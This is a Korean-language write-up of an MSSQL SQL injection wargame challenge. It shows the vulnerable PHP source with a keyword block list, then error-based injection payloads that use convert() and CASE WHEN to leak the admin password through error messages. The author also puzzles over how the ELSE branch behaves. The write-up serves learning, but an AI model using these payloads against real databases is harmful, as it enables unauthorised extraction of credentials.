MSSQL의 좀 이상한(?) 문법에 당황스러운 문제
<?php
include "./config.php";
login_chk();
$db = mssql_connect();
if(preg_match('/master|sys|information|prob|;|waitfor|_/i', $_GET['id'])) exit("No Hack ~_~");
if(preg_match('/master|sys|information|prob|;|waitfor|_/i', $_GET['pw'])) exit("No Hack ~_~");
$query = "select id from prob_nessie where id='{$_GET['id']}' and pw='{$_GET['pw']}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
sqlsrv_query($db,$query);
if(sqlsrv_errors()) exit(mssql_error(sqlsrv_errors()));
$query = "select pw from prob_nessie where id='admin'";
$result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
if($result['pw'] === $_GET['pw']) solve("nessie");
highlight_file(__FILE__);
?>
문제 자체는 단순하다. error based sql injection을 수행하면 되는 것이고,
'||1=convert(int,pw) -- g
를 통해서 pw를 단번에 끌어낼 수 있었다.
문제는 if
, case when
등 분기를 나누는 것의 문법이 조금 다르다는 점이다.
(if 는 mssql에서 동작하지 않는 듯하여 배제함.)
우선 case when
을 사용했을 때, 쿼리를 이렇게 구성하면 답이 아래와 같이 나온다.
select id from prob_nessie where id='1' and pw='1' or 1=(case when id='admin' then convert(int,pw) end) -- g
// Conversion failed when converting the varchar value 'uawe0f9ji34fjkl' to data type int.
그러나, else
구문을 추가해주면 답이 나오지 않는다.
select id from prob_nessie where id='1' and pw='1' or 1=(case when id='admin' then convert(int,pw) else 1 end) -- g
// No error.
한편, id='guest'로 바꾸면 정상적으로 에러가 발생한다.
select id from prob_nessie where id='1' and pw='1' or 1=(case when id='guest' then convert(int,pw) else 1 end) -- g
// Conversion failed when converting the varchar value 'guest' to data type int.
MSSQL 온라인에서 테스트했을 때에는 다 내가 생각했던 대로 잘 출력되었다.